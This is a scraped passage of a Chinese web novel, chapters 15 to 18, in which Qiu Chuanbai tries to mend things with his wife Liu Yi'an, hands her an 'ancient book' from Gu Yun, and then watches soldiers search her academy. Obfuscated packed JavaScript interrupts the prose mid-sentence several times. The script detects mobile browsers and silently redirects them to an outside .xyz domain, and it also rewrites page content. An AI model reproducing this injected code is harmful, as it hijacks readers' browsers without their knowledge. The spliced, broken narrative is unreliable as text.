l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791803|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他待在柳忆安身边,比在家时要肆意许多。 「那时,当柳忆安热切的目光看向自己,自己为什么会产生怯意呢,为什么会想退缩呢?」 他伫立在杏树下,想找到一个答案。 不配。 是了!他觉得自己不配。 当柳忆安向他示好时,他下意识觉得自己不配。 自己向柳忆安提出了一个那么无理的要求,柳忆安应该也向他提出要求才是。 她应该生气,应该责骂,应该趁机勒索他。 她却没有那么做。 她越是体贴,越是衬得自己无地自容。 她就像今晚的月光,不光照亮他的心绪,也让他的自卑无处遁藏。 所以他选择了逃避,避开与她相处的机会,用冷漠掩饰自己的不堪。 他内心深处觉得自己配不上如明月般的柳忆安,他的局促、他的怯意,他的矛盾,全都源于这一点。 认识到了自己的心情,秋川白开始后怕。 已经说了那么伤害她的话,自己还有机会能求得她的原谅吗? 他伸出手,看着掌心的月光,轻轻攥上了手,下定了决心。 不管怎么样,他要弥补自己对柳忆安造成的伤害。 翌日清晨,秋川白自己跑到厨房,第一次尝试自己下厨。 听见厨房传来叮叮当当的响声,华来和春生立刻警觉起来,各自抄起一根棍子,小心翼翼地走到厨房门口。推门一看,竟是秋川白正在里面忙碌着。两人怔在原地,手里的棍子“啪嗒”一声掉在了地上,惊得目瞪口呆。 “公子,您,您怎么自己来厨房了?”华来瞪大了眼睛,惊讶地问道。 厨房里乌烟瘴气,秋川白一边捂着口鼻,一边挥舞着手里的勺子,“咳咳,待柳家主和曲主夫来的那日,我想亲自下厨招待大家。” “公子您先出去,让我和华来将厨房收拾好。”春生将秋川白扶起,将他送出厨房,自己开始收拾残局,“您想亲自下厨,让小的来教您就是。” “是啊公子,您下次可千万别自己来厨房瞎折腾了,若是起火了该怎么办。”华来嘴下毫不留情。 秋川白铩羽而归,垂头丧气地回到厢房内。 不一会儿,华来为他端来一杯茶,宽慰道:“公子,离柳少主休沐还有将近一月呢,咱们有的是时间,不必着急。” “华来,我昨晚才想明白我对柳姑娘的心意。”秋川白顾不上饮茶,将茶杯放到一旁,“我之前对她说那样的话,你说她怎样才能原谅我呢?” “公子,小的也不清楚柳姑娘的想法……”华来挠了挠头,斟酌道,“不过俗话说精诚所至,金石为开。想必柳姑娘看到您道歉的诚意,也就原谅你了。” 秋川白点点头,又听见华来补充道:“而且,公子你长得这么好看,去见柳姑娘的时候好好打扮一下,说不定她一高兴,就原谅您了。” “你这说的什么话,柳姑娘又不是那么肤浅的人。” 秋川白虽然嘴上这么说,心里却觉得华来的话有几分道理。待华来离开,他打开梳妆台,开始琢磨下次去见柳忆安时该如何梳妆打扮。 15. 多谢 几日后,家仆送来了曲氏的回信。 曲氏对秋川白的安排很是满意,在信里对他大肆赞赏,最后叮嘱他,既是家宴,做些寻常饭菜即可,不必过于操劳。 曲氏的回信仿佛给秋川白吃下了一颗定心丸,他高兴地将信收好,想要即刻动身前往书院。 他想告诉柳忆安,若往后课业忙碌,无暇回家,他可以将曲氏接来小住几日,同她团圆。 他推开房门,正欲大步离开,突然想起华来前几日的劝告:若是他好好打扮一番,说不定柳姑娘一时高兴,能原谅他先前的冒犯。 此话虽有些不着边际,但他还是鬼使神差地坐在了镜子前,拿起了那些从未好好戴过的首饰。。 头上是戴玛瑙海棠钗好,还是青玉镂空发冠好呢? 身上是穿上云肩还是挂上披帛呢? 这搽脸的脂粉,究竟是如何涂开的? 秋川白过去只求仪表端庄得体,从未如此细致地打扮过自己,今日突然的兴起使他忙得手忙脚乱。 过了许久,眼见太阳即将落山,他才不得不从镜子前离开。 秋川白不好意思让华来和春生看见如此打扮的自己,便趁着没人注意,偷偷溜出门去,直到出了门才对着院子里喊了一声: “我去万明书院,你们不用跟来。” 万明书院门口,柳忆安愣怔得看着秋川白。 门房的人说门口有自称她夫郎的男人来找她,她来到了门口,却没看见熟悉的身影。 直到一侧的人开口唤她,她才发现原来眼前这个打扮得花里胡哨的人,竟然就是秋川白。 眼前的人的穿着搭配和往常明显不同,往日里不着粉黛的少年郎,现下却…… 厚重的铅粉被铺在脸上,因出汗而显得斑驳。原本浓淡得当的眉毛被他额外加上了几笔,线条变得僵硬失真。唇上的胭脂颜色也有些艳丽,与其清秀的面容极不协调。 情窦初开的少年第一次打扮自己,扮成了一幅滑稽模样,自己却毫不知情。 柳忆安努力忍住笑意,嘴角还是忍不住上扬了一些。 见到柳忆安露出一丝笑容,秋川白还以为是自己今日的打扮得到了认可,心里很是开心, “妻…柳姑娘,”他想叫她妻主,却觉得突然换了称呼会有些突兀,“父亲说,月底休沐日,他会和家主来这里看你。” “父亲说要来看我?”柳忆安有些意外,书院这边食宿不便,这么多年都是她回家休息。 “嗯,我给父亲说可以休憩在新宅子里,他很高兴。”秋川白解释道。 柳忆安心中明白,秋川白搬到这里,表面说是为了离书院更近些,但真实目的是为了同柳家人保持距离,见他主动招呼自己的父亲过来,柳忆安十分惊讶。 虽然不解秋川白为何要做这么,但柳忆安还是选择接受了这份好意,感谢道:“那到时就有劳秋郎了。” “不用同我客气,这是我应该做的。”秋川白不想柳忆安太过客气,会让他觉得对方在疏离自己。 「想来他这么做,还是为了还清所谓的恩情。」柳忆安心想。 这些日子,秋川白接连的示好,让柳忆安明白:只要她始终践行新婚夜的承诺,不对两个人的关系有任何肖想,秋川白便会尽力报答她。 但一旦自己稍有逾越之意,对方就会像之前那样将自己远远推开。 之前她误会了对方的意思,如今却是不会了。 既然他想做一些事情来减少心中的愧疚,就任由他做吧。 秋川白将话传到了,却不想这么快就离开,便问道:“那我没什么事了,你还有什么想和我说吗?有什么需要我帮你做的吗?” “我也没什么事,你回去的路上注意安全。”柳忆安同他道别。 秋川白原本没打算立刻离开,柳忆安此话一出,他现在倒是不得不离开了。 秋川白依依不舍道:“那……那休沐那日我来接你。” “好,我等你。” 回去的路上,秋川白细细回味着同柳忆安的对话。 「她今日对我笑了。」 「她说她等我。」 想到柳忆安的笑容,秋川白两颊发烫,脚步也变得轻快。 秋川白迈着雀跃的步伐回到宅中,却在见到华来的时候被泼了一盆冷水。 “公子!你这是怎么回事?怎么成这样了?”看见秋川白脸上五颜六色的样子,华来瞪大了眼睛,惊恐地问道。 “我怎么了?”秋川白不解。 “公子你的脸,怎么化成这般模样了?” 秋川白闻言直奔卧房,看见镜子里一幅不伦不类的妆容,心情立刻从天上跌落到谷底。 天啊!自己刚刚就是这幅模样见柳忆安的吗? 秋川白心里哀嚎。 原来柳忆安是被自己这幅怪模样逗笑的吗。 之后接连的几天,他都如霜打的茄子般,做什么都无精打采的。 直到柳忆安休沐的那天,他都仍羞愧地不敢直面对方。 休沐日清早,柳忆安来到书院门口等候秋川白。 上次见到他时,他还是一脸欢喜的样子,今日却躲着她的视线。 “我来接你回家。”秋川白低着头,扭捏地说。 一路上,秋川白都没再开口说过第二句话,只是一味地闷头走着。 “妻主,就在这里。”到了宅子门前,秋川白用尽一路积攒的勇气,叫出了“妻主”两个字。 这是秋川白第一次在私下里称呼她为妻主,只是柳忆安却没有察觉到称呼的改变。 秋川白偷偷瞥去目光,见对方没有什么反应,心里更加沮丧。 走过垂花门,满树的杏花映入柳忆安的眼帘。 “小姐,是杏树!”小霜兴奋地说道,“等以后结了杏子,我可以给小姐腌杏脯吃。” 听到小霜的话,秋川白才想起自己为何会觉得柳忆安喜欢这棵杏树。 柳忆安卧床养伤的时候,若是觉得嘴里没什么滋味,总是让他帮忙取一些杏脯来。 除了杏脯,杏仁露也是柳忆安平日里最喜欢的糖水。 也因如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791804|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此,他在见到这棵杏树的时候,下意识觉得柳忆安也会喜欢杏花。 “满树繁花,如雪似云,真是好看。”柳忆安赞美道,“秋郎,若结了果子,可以让小霜采摘一些吗?” “这些你说了算。”见柳忆安喜欢,秋川白觉得欣喜。 “你要不要去书房看看。”秋川白迫不及待地想要同柳忆安展示自己的精心布置。 柳忆安跟着秋川白,参观了整座宅院。 “这边是正房,是留给你的卧房,今日母亲和父亲来就住在这里。” 卧房陈设素雅,家具皆为花梨木所制,散发着淡淡的木头香气。房间里摆设不多,却件件雅致,想来是费了一番功夫搜罗。 “东厢房给你留作书房了,笔墨纸砚也都准备好了。” 书房宽敞而明亮,窗外便是杏树繁花,微风掠过时带来阵阵幽香。笔墨纸砚整齐地摆放在桌面上,案头摆放着一盏白瓷灯。 “怎么留给我了两间房?”参观完,柳忆安觉得奇怪,“我也不常来,如此一来岂不是白白浪费了房间。” “怎么会是浪费,”秋川白立刻反驳道,“你经常回来,就不会浪费了。” 刚说完,小霜便领着柳云和曲氏踏进了院子。 几个人又再次参观了一边宅院,柳云和曲氏看到房间里的装饰摆设,处处透露了秋川白对柳忆安的考虑,两人对视一笑,都对这个女婿十分满意。 在曲氏眼里,自从秋川白嫁进来,但凡和柳忆安有关的事情,他都要放在心上,事事亲力亲为。 用晚膳时,曲氏抓住秋川白的手,一脸慈祥地看着他,“有你在忆安身边,我和妻主真是放心不少。” “是啊,看到你们如此恩爱的模样,我们深感欣慰。”柳云微笑地附和道,“还望你们可以一直这样相互扶持下去。” 秋川白点点头,认真地回应道:“我会好好照顾妻主的。” 柳忆安看着眼前的这一幕,心里百感交集。明知秋川白此刻展现的温情只是他在母父面前的可以表演,却还是让她恍惚了一瞬。 “母亲父亲,我们快饭吧,别把这桌子菜放凉了,糟蹋了秋郎的心意。”柳忆安可以转移了话题。 晚间,待柳云与曲氏歇下,秋川白与柳忆安回到西厢房休息。柳忆安倚靠在软枕上翻看书卷,而秋川白则在另一侧的榻上侧身而卧,他的目光落在柳忆安身上,思绪不能平静。 “妻主,你能为我们的宅子取个名吗?”秋川白再次提出请求,语气中带着几分期待。 柳忆安思索片刻,抬头看向院中那棵开满繁花的杏树上,思量了一下,说道:“既然有杏树藏于院中,不如就叫‘映杏居’吧。” “映杏居……”秋川白低声重复,像是细细品味这三个字的意境,嘴角渐渐扬起,“好名字,听着就觉得温暖,像春日里洒下的阳光一样。” 翌日,先是送走了两位长辈,随后秋川白又将柳忆安送回书院,正欲回房歇息时,突然传来一阵敲门声。 “川白弟弟,是我。”门外传来熟悉的声音,是顾允。 16. 古籍 听到是顾允来访,秋川白这才想起自己还未来得及将对方的外袍还回去。 顾允在花灯节的越界行为让秋川白心里生出几分隔阂,他意识到,这位幼时的玩伴已经不再如年少时一般赤诚。于是在与她道别后,秋川白本打算与对方就此保持距离。他原计划将衣袍留在柳府,待顾允去柳府寻他时,便由下人将衣物交还给她便是。谁料想,今日顾允竟直接寻到了他的新宅。 “川白弟弟,听说你搬了新宅院,今日唐突来访,还请见谅。”顾允双手抱拳表示问候,目光却有意无意地扫过院子,带着几分探究,“只是我不日即将回京,想在离开之前与你见一面。” 听到顾允要离开的消息,秋川白心里长舒一口气,只是面上还维持着礼貌的微笑,客气道:“本该邀请顾女君入内做客,只是刚刚搬来,院内杂乱不堪,怕怠慢了女君,还请见谅。” “川白弟弟何必与我这般客气,不过今日我来,是有一事要亲自说于你。”顾允看出秋川白对她的疏离,不再客套,开门见山地说道,“前两日,朝廷内有人透露消息,说今日有人向皇上献上一本古籍,里面记载了诸多早已失传的先贤治国之策,皇上看后龙颜大悦,传闻明年的春闱,恐怕是要论述这本古籍中记载的种种方略。” 顾允顿了顿,观察了一下秋川白的脸色,见到对方产生了兴趣,便接着说道:“川白弟弟,上次我与柳女君一见如故,为了感谢她的宴请,我在听到这个消息后便立刻托人弄到了那本古籍的抄本,希望能助柳女君一臂之力。” 顾允的话正中秋川白的心思,一直以来,他都希望能帮柳忆安考得贡士,只是他学识浅薄,只能为她做一些微不足道的事情,如今却从顾允这里得到了这样一个难得的机会。 “顾姐姐有心了,我替妻主先谢过了。”秋川白行礼回道。 “她是你的妻主,她若是青云直上,你也能获得荫庇。”说到这里,顾允的神色黯淡了一瞬,“只要你过得安稳,我便心安了。” 说完,她掏出一个匣子,交给了秋川白。 匣子朴实无华,由粗木刻成,上面没有多余的装饰,十分地不起眼,怕是扔到街上也不会有人专门捡起。 秋川白接过盒子,心中十分感激,也为自己一开始的疏离感到惭愧,便主动提出送她回去:“多谢顾姐姐惦记着我和妻主,我将顾姐姐送回云州城吧,刚好姐姐随我一同去柳府,将洗净的衣裳拿走。” 随后,他将古籍收好,两人一同乘马车往云州城去。 秋川白先回到柳府取来衣袍,将其交还给顾允,本打算随即与对方告别,却发现顾允似乎并无离开的打算。 “后日我就要离开了,”顾允的语气中掺杂着几分怀念,“今日我想同你在街上走走,就像我们小时候那样。” “好,我再陪顾姐姐在这里转转。”刚从顾允那里拿到古籍,秋川白不好意思拒绝她的提议。 云州城无论何时都热闹非凡,岁月流转,不仅生活在这里的孩童如今已经长大,就连曾经沿街叫卖的小摊也成为了多年的老铺。 “沈记桂花糕?川白弟弟还记得这家点心吗?过去我们常常喊秋姨买给我们。”顾允走到铺子前,买了两块桂花糕,伸手将其中一块递给了秋川白,“这么多年都没遇到更好吃的桂花糕。” 秋川白接过桂花糕,安慰她道:“想必京城的美食更多,顾姐姐不必为一块点心伤怀。” “也可能是心境不一样了吧,从前总是无忧无虑的,如今却多了许多身不由己。”顾允尝了一口桂花糕,“云州城的一切都如昨日一般,这点心的味道还是那个熟悉的味道,离开了这里的人却变得面目全非了。” 秋川白看出顾允此时心情不佳,想安慰她几句,却不知道说些什么。他与顾允已太久未见,不知道这些年对方都经历了什么,便没有擅自开口,而是静静地站在一旁。 两个人又在街上随便走了走,顾允一路感怀着往昔,而秋川白默默听着,时不时点点头。 “川白表兄?” 方轻尘远远地看见秋川白同一个女子在街上闲逛,他仔细辨认了一下,确定了那名女子并不是柳忆安。 他远远跟着秋川白走了一路,眼见两人没有道别的意思,终于忍不住叫住了他。 “轻尘表弟,好巧啊。”听到方轻尘的声音,秋川白惊喜地转过身,他终于有理由同顾允分开了。 随着前面二人停下脚步,方轻尘终于看清,秋川白身边的女子正是花灯节那日和他一起站在酒楼门口的人。 “表弟,这位是秋府以前的邻居,顾允姐姐。”秋川白介绍起两人,“这位是方轻尘,我的表弟,现在暂居秋府。” “既然你与表弟相遇了,我就不继续打扰你了。”顾允见有外人来,便收起回忆往事的心思,微微一笑,准备离开,“我先告辞了,日后若有缘再见。” 见顾允离开,方轻尘才问起秋川白今日为何突然回来,又为何同这个女子单独在街上闲逛。 “表兄,我相信你的为人,只是众口铄金,若是被外人看见,以此来诋毁你,那可如何是好。”方轻尘劝道。 秋川白见方轻尘似乎有所误会,立即解释道:“今日是事出有因,顾姐姐之前托人寻来了一本可能与春闱有关的古籍抄本,今日特意将书送来,为表感激我才陪她走了一路,现在事情已了,你大可放心。” 方轻尘点点头,“原来如此,那可真是得好好感激一下顾女君。听说表兄搬到了新宅院,不知可否让我观赏一下?” 秋川白对方轻尘没有什么防备,欣然答应:“当然可以,若你今日无事,同我一起回去吧。” “那就恭敬不如从命了。只是今日天色已晚,山路难行,我们明日再出发吧。” “我也是如此想的,今日我先宿在秋府,明日再回。” 翌日一早,天刚刚破晓的时候,两人就踏上了回映杏居的路。 “表兄,我听姑姑说,你搬到万明书院附近是为了照顾柳姑娘?”方轻尘想起姑姑在家中提到秋川白搬到万明书院附近一事,随口感慨道,“你们感情真好啊。” “也…也还好,只是尽一个夫郎的本分罢了。”秋川白有些心虚。 他不好意思直言,自从搬过去,柳忆安只回了映杏居一次,还是因为他特意邀请柳忆安的母父前来。 秋川白不好意思继续谈论自己与柳忆安的关系,便将话题转移到了方轻尘身上。 “母亲最近是不是也想为你说亲了?” 昨夜在秋府留宿,夜里父亲突然到房间找他,问万明书院里是否有未婚的穷举子。 在秦氏看来,虽说方轻尘双亲都已不在世,但秋家家底丰厚,方轻尘背靠秋家,嫁给个穷举子大约没有什么问题。 “你平日里专门留意一下,若有什么好的人选,记得告诉我和你母亲。”秦氏叮嘱道,“这可是你表弟的婚姻大事,他若有个好前程,咱们家也能沾上光。” 秋川白不想听到这样的话,当初他就是因为这个原因被母父强行嫁了出去。 虽然母父为他挑选的妻主确实是万里无一的好女子,婚后他也确确实实动了心,但是依然反感自己被待价而沽。 他不想答应父亲,便敷衍地说自己知道了,随后以自己要休息为由将父亲打发出去了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791805|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是否有什么心悦之人,若是有心仪的人选,我帮你同母父说一声。”想到自己的身不由己,秋川白叹了口气,“可别像我一样,就这样嫁给了一个陌生人。” 方轻尘苦笑一下,他心悦的女子已经成婚了,如今嫁于谁都无所谓了。 “多谢表兄挂念,只是我心无所牵,也无所谓嫁给谁,全凭姑姑姑父安排。” “我明白了,那我平日里也多为你留意一下是否有好的人选。”见方轻尘对母父的安排没有意见,秋川白也不再劝他,“不过,母亲父亲的眼光还是不错的,相信她们一定能为你挑选一个合适的妻主。” 方轻尘本想说,他恐怕没有秋川白一般的好运气,能遇上柳忆安这样的人。 但是话到嘴边,却又咽下,毕竟对方也是一番好意。 “那就劳烦表兄为我多多留意了。” 回到映杏居,方轻尘随意参观了一下,见秋川白的东西没有放在主卧,有些不解。 “表兄,为何你不住在主卧,而是住在西厢房?” 秋川白这才意识到自己没有提前准备,不慎暴露了自己不同柳忆安住在一起的事实。 他迅速想到了借口,辩解道:“前几日柳家主来这里小住,我便把自己的东西搬到西厢房了,如今她们虽然离开,但我决定就将主卧留给长辈吧,省得以后来回折腾。” 方轻尘点点头,没再追问。 秋川白想早些把古籍,连同他从家中带回的点心,一起送给柳忆安。于是在方轻尘参观完院子后,他便开始动手收拾点心盒。 他将精致的点心一层层整齐地摆入匣中,最后将古籍小心翼翼地放在最底层,随后转身去更换了一身整洁的衣服。 在秋川白换衣服的时候,方轻尘打开了最上一层的匣子,翻了翻那本古籍,写的都是一些“治国者应以仁为怀”之类的话。听到秋川白的脚步声响起时,他连忙将古籍放了起来。 秋川白换好衣服出来,满意地看着自己准备的点心匣,准备给柳忆安送去。 “我要去书院了,你在家等我一会儿,我马上就回来。”秋川白边往门外走,边叮嘱方轻尘。 “我陪你一同去吧。”方轻尘起身,也作势往门外走去。 “你是客人,怎么能麻烦你呢,再说这里离书院很近的,你在这里等我就好。”秋川白将方轻尘带回桌边坐下,又为他斟了杯茶,再三表示自己可以一个人前去,方轻尘作为客人在此歇息就好。 秋川白有自己的私心,他不想让第三个人打扰到他和柳忆安的相处。 毕竟自己好不容易才找到寻她的借口。 秋川白端着匣子,一路上越走越快,一开始只是走路的步伐稍微大了点,没过一会儿变成了小跑。 到了书院门口时,他已经累得上气不接下气,只好将身体倚在门框上稍作休整。 猛然间,他瞄到了柳忆安的身影,连忙站直身体,试图扮作一幅镇定模样。 *** 在接到门房通报前,柳忆安的同窗正与她聊起关于秋川白的事情。 “忆安姐,有件事我不知当不当说,思考了一下,觉得还是应当告诉你…” 同窗欲言又止的模样激起了柳忆安的好奇。 “你说吧。”柳忆安放下了手中的书,认真听对方讲话。 “刚刚家妹来找我,说看到你夫郎同另一个女子一起逛街…”同窗停顿了一下,似乎在整理措辞,“她逛街时看到一个公子长相十分秀美,便多看了两眼,发现竟然是秋家公子。之前家妹见过你,也知道你同秋家公子大婚的事,所以特意赶来告诉我这个消息,想让你心里有个数。” 17. 搜查 “多谢妹妹提醒,不过这件事情我是知情的,妹妹不用担心。”柳忆安平静地替秋川白遮掩道。 “忆安姐知情就好,姐姐可别怪我多嘴啊。”同窗闻言明显放松了几分,笑着说道。她本想再问几句,却被门房的声音打断。 “柳女君,你夫郎又来找你了。” “早知你们关系这么好,我还白白担心什么。”同窗带着几分调侃的语气,揶揄地说道,同时轻轻将柳忆安往大门的方向一推,“快去找你夫郎吧。” 柳忆安顺势往门口走去,回头对同窗说道:“那我先过去了,也多谢妹妹记挂着我,这份心意我领下了。” 「想来那个同秋川白一同出行的女子便是花灯节那晚偶遇的人吧。」柳忆安心想。 那日三人一同用膳时,柳忆安便察觉到顾允对秋川白暧昧不明的心意,对方故意当着她的面说了一些意有所指的话,她也看出来对方望向秋川白的眼神并不清白。 不过当时她并未将对方的行为放在心上。像秋川白这样的男子,自然会吸引许多人的爱慕。若是将心思浪费在提防旁人上,只会徒增烦恼,平添不必要的消耗。 若是秋川白对她有情,恐怕也不会将她人的示好放在眼里。 若是秋川白对她无情,就算没有任何人干扰,她俩也无法更进一步。 况且秋川白再三重申莫要对他生出别的心思,如今她也不愿再在二人的关系上多费心力,以免徒增无谓的纠葛。 只是他与别的女子在街上同行被她人瞧见的事,最好还是告知对方一声,不然若是传出闲话,对两户人家的名声多有影响。 秋川白见到柳忆安向他走来,连忙整理了一下因小跑而有些凌乱的头发。 “妻主,我今日给你送些东西来。”他将点心匣递上,“这些都是我今日刚从秋府带来的,你在书院若是饿了,可以用来垫垫肚子。” 柳忆安点点头,接过匣子,心里思索着该告诉他以后要在外注意一点。 “还有匣子的最下面,有一本古籍,顾姐姐说为了感谢你那日的宴请,特意寻来给你的。”见柳忆安没有什么反应,秋川白心里有些低落,继续叮嘱道,“她说今年春闱的考题恐会和这本古籍有关,所以让你小心放好,切莫将这个让她人看见。” 柳忆安不知道为何顾允要寻来一本古籍送给她,如果真像她所说的,这本书里的内容与春闱有关,想必费了很大力气才将书弄到手。而她与顾允的关系不过是一顿饭而已,更何况若她真是对秋川白有什么心思,自己在她眼中应是情敌才是,又有谁会为情敌劳心费力呢? 对方将书送给她到底是有什么目的?她不相信顾允仅仅是为了感谢宴请,难道是因为是想让自己成全她与秋川白? 恐怕得先看一看这本所谓的古籍,才能有更多的线索。 “你有心了。”柳忆安想赶紧回到舍房,瞧瞧这本古籍到底写了些什么,转身之后才想起自己还未叮嘱秋川白以后若是再同顾允出行,务必小心遮掩,莫要再被人瞧到,便扔下一句,“你若是再与顾女君出行,务必小心遮掩,已经有人瞧见了。” 秋川白慌忙解释道:“忆安你误会了,我没有想…” 只是柳忆安着急往舍房走去,没有听见秋川白的话,故而也没有留给他继续解释的时间。 眼见柳忆安转头就走,没有留给自己解释的余地,秋川白一时间怔在原地。 柳忆安那一句轻飘飘的叮嘱仿佛一记闷锤,砸得他满脑子都是“被瞧见”这三个字。 都怪自己太过草率地答应了顾允的请求,如今柳忆安误会了自己和顾允的关系,该如何是好。 方轻尘眼瞧着秋川白兴高采烈地出门,垂头丧气地归家,猜想他与柳忆安之间或许发生了什么,关心地问道:“发生了什么,表兄为何如此神情?” 自己和柳忆安之间的事情很难用一言两语说清,秋川白不知道该怎么同方轻尘说明这一切。 “若是不想说便不说了。”方轻尘见秋川白面露难色,识趣地没有再追问,只是轻声说道,“不过,若是表兄有什么需要帮忙的地方,只管开口,我定尽力而为。” “表弟不用为我忧心,只是今日你前来做客,家中却没有准备什么适合待客的饭菜。”说罢,秋川白对华来吩咐道:“华来,去买些酒菜回来。” 听到秋川白想要喝酒,方轻尘扬起眉惊讶地看了他一眼。 “表哥你一个从不喝酒的人,今日甚至想借酒消愁了吗?” 秋川白苦笑一声,无奈地说道:“倒不是想借酒消愁,只是不把自己灌醉一点,恐怕不敢将自己的荒唐事说与你听。” 自从方轻尘来到秋家,与秋川白相识,从未见过秋川白饮过酒。 他曾问起此事,大户人家多将酌酒视为雅事,而秋川白又是一个钟情风雅之人,品茗焚香抚琴,几乎无所不通,为什么偏偏对饮酒避而远之? 秋川白当时的回答,方轻尘至今都记得清楚。 “我喜欢焚香抚琴,是因为我清楚自己喜欢的是焚香抚琴本身。而饮酒之后,常觉得飘忽,这让我分不清喜欢的是酒的滋味,还是饮酒后那种忘却一切的虚幻之感。” 直到现在,方轻尘仍未理解秋川白的到底回答是什么意思。方轻尘觉得喜欢就是喜欢,不管是喜欢酒的滋味,还是喜欢饮酒后的虚幻之感,都是喜欢。 突然响起的琴声将方轻尘的思绪从过去拉回现在,秋川白取出了琵琶,试图将愁绪弹奏进琴声中。 一曲终了又是一曲,杏花花瓣被风吹得扬起,随后缓缓飘落到秋川白的衣襟上,秋川白端坐在杏花雨里,一刻不停地弹奏着手中的琵琶,曲调婉转哀愁,似是有万千心事诉诸其中。 不远处,方轻尘静静地欣赏着眼前的一切,他的表哥就像一个画中走出的人,这样的人才是能够站在柳姑娘身边的人。 直到华来带着酒菜回来,琴声才被打断。 “公子,我刚路过万明书院时,看到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803828|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群官兵将书院团团围住,如今已将书院封锁,任何人不得进出。”华来匆匆进屋,着急地将自己方才的见闻说出来。 “书院被封锁了?我去打听一下怎么回事。”秋川白听闻,赶紧向书院走去。 方轻尘也跟了上来。 “我随你一同前去。” 两人快步走到万明书院,果然见官兵已经将书院似铁桶一般围住,恐怕连只苍蝇都无法从书院里飞出来。 街道不远处,有一群人在低声议论着什么,秋川白和方轻尘隐约听到她们说事情的和书院有关,便走过去偷听。 “听说有人举报万明书院的学子携带谋逆的书,官兵正在挨个搜查呢。”其中一人小声说道。 “能在万明书院读书,都是些非富即贵,或者前途无量的人,她们怎么会带着谋逆的书呢?这是多想不开。”另一个人不信这番说辞。 见有人质疑自己,一开始说话的那人连忙补充道:“你别不信,前不久,万明书院里的一个举人刚被抓走,只不过当时官府知道是何人带着禁书,几个官兵进去没多一会儿就把人抓走了,根本没闹出今日这般动静。” 那人话刚说完,就见几个官兵就往这个方向走来,人群一哄而散。 秋川白和方轻尘绕到了街道拐角处,躲在官兵看不见的地方静静观察着。 方轻尘悄声对秋川白说道:“你说这件事同忆安姑娘有关吗?” 秋川白眉头微蹙,想到自己前脚才将古籍送去书院,后脚官兵就将书院层层围住,很难令人不多想。 “我觉得官兵或许是冲她来的。”秋川白迟疑道:“我刚刚才将顾允给我的古籍送去给她。” 方轻尘也觉得这件事同那本古籍脱不了干系,轻轻颔首表示赞同。 “嗯,也许是那本古籍的问题,也许还有别的事情,我们先在这等着吧,看有没有机会弄清楚来龙去脉。” 两人在原地等待着,秋川白心中十分愧疚,万一真是那本古籍的问题,自己岂不是害柳忆安陷入了万劫不复之地。 如果他说那本书是自己的,能救柳忆安于水火之中吗? 两个人谁也不敢出声,周遭也安静极了,只能听见官兵沿街道来回巡视的步伐声。 待到日头落下,终于有一个穿着打扮像是长官的人从书院里走出来,她挥了挥手,将所有的官兵都带走了。 没有任何一个学子被带走。 「这事和柳忆安没有关系。」 秋川白终于长舒一口气。 紧张了一下午,他的双腿已经僵硬,突然的放松令他的双腿一时没有撑住,整个人半跪了下来。 见状,方轻尘连忙将他扶起。 “表兄莫慌,我们先一同去书院里问问,看看究竟发生了什么。” 秋川白借着方轻尘的搀扶站稳脚跟,拍了拍因跪地而沾满灰尘的衣摆,眼神中仍带着几分未散的惊魂。 “走吧,去看看忆安。”他的声音有些沙哑。 18. 归家 随着官兵撤离,书院的大门再一次紧紧关上。 方轻尘敲了敲大门,过了许久也无人应答。 “想来书院现在人人自危,谁也不敢贸然开门。”方轻尘低声劝慰秋川白,“表兄你先回去休息,我在这候着,若有什么动静我便去叫你。” 秋川白摇摇头,不愿离开。 “我也留在这,她是我的妻主,我得确保她安然无恙。” “你今日受了惊吓,还是先回去休息吧,越是关键时刻身体越不能有闪失。”方轻尘明白秋川白的心情,毕竟他自己都不愿离开,“你下半夜来这替我,换我去休息。” “你说得对,这个时候我们千万不能出什么事。”方轻尘的话点醒了秋川白,他点点头,算是同意了方轻尘的安排,“那我先回去小憩一会儿,很快就来替你。” 秋川白回去了,方轻尘一个人依靠在书院门口,孤零零的身影隐没在微凉的夜色之中。 他的目光落在书院紧闭的大门上,默默地为里面的人祈祷着。 *** 秋川白回到府中,先是吩咐华来为方轻尘送去了厚衣服和热茶,随后便合上眼准备小憩一会儿。 半梦半醒之时,听到有人敲门,敲门声不大,却一直断断续续地响起。 “谁啊?”华来揉着眼睛,跌跌撞撞地往门口走去,小声抱怨道:“这么晚了,自己不睡觉,还不让别人睡。” “是我,小霜。” 听见是柳府派人来了,华来不敢再耽误,赶紧为对方开了门。 